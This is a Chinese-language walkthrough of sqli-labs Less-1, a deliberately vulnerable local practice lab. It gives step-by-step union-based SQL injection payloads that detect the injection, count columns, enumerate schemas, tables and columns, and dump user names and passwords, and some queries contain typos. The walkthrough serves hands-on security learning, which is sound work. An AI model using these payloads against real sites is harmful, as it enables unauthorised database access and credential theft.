几个常用的函数

1.version()  -- Mysql版本

2.user()  --数据库用户名

3.database()  --数据库名

4.@@datadir  --数据库安装路径

5.@@version_compile_os  --操作系统的版本

常用的语句():

1.查询数据库的信息:select schema_name from information_schema.schemata

2.查询表的信息:select table_name from information_schema.tables where table_schema='securty(表名)'

3.查询列的信息:select column_name from informaion_schema.columns where table_name='表名'

4.查询字段:select username,password from security.users

字符串连接函数:

1.concat(字符串1,字符串2)   --没有分隔符的连接字符串

2.concat(-/~,字符串1,字符串2)  --含有分隔符的连接字符串

3.group_concat(字符串1,字符串2)    --连接一个组的所有字符串,并用,分隔每一个字

less1

1、先判断注入类型

sqli-labs_数据库

 

 (1)首先看到要求,要求传一个ID参数,并且要求是数字型的。?id=1

sqli-labs_表名_02

 

 (2)输入?id=1'

sqli-labs_数据_03

 

 发现报错

(3)输入?id=1"

sqli-labs_sql_04

 

 单引号报错,双引号正常,判断是字符型注入

2、对列数进行判断

(1)输入?id=1' order by 2--+

sqli-labs_数据_05

 

 

 (2)输入?id=1' order by 3--+

sqli-labs_表名_06

 

 

显示正常 

(3)输入?id=1' order by 4--+

sqli-labs_表名_07

 

 

 报错,所以判断有3列

3、查看显示位,判断手工注入位置

(1)输入?id=-1' union select 1,2,3--+(使用union参数进行联合查询注入,union前面的参数报错才能执行union后面的数据,因此将id=1改为id=-1)

sqli-labs_数据_08

 

 

2,3为显示位,此时可在2、3位置进行手工注入 

(2)查询所有数据库

http://127.0.0.1/sqli-labs/Less-1/?id=-1' union select 1,group_concat(sma_name),3 from information_schema.schemata--+

 

sqli-labs_表名_09

 

 

 (3)查看当前数据库名

http://127.0.0.1/sqli-labs/Less-1/?id=-1' union select 1,database(),3--+

 

sqli-labs_表名_10

 

 

 (4)爆表名

http://127.0.0.1/sqli-labs/Less-1/?id=-1' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='security'--+

sqli-labs_字符串_11

 

 

 (5)爆列名

http://127.0.0.1/sqli-labs/Less-1/?id=-1' union select 1,group_concat(column_name),3 from information_schema.columns where table_schema='security' and table_name='users'--+

sqli-labs_sql_12

 

 (6)爆数据

http://127.0.0.1/sqli-labs/Less-1/?id=-1' union select 1,group_concat(username),group_concat(password) from users--+

sqli-labs_表名_13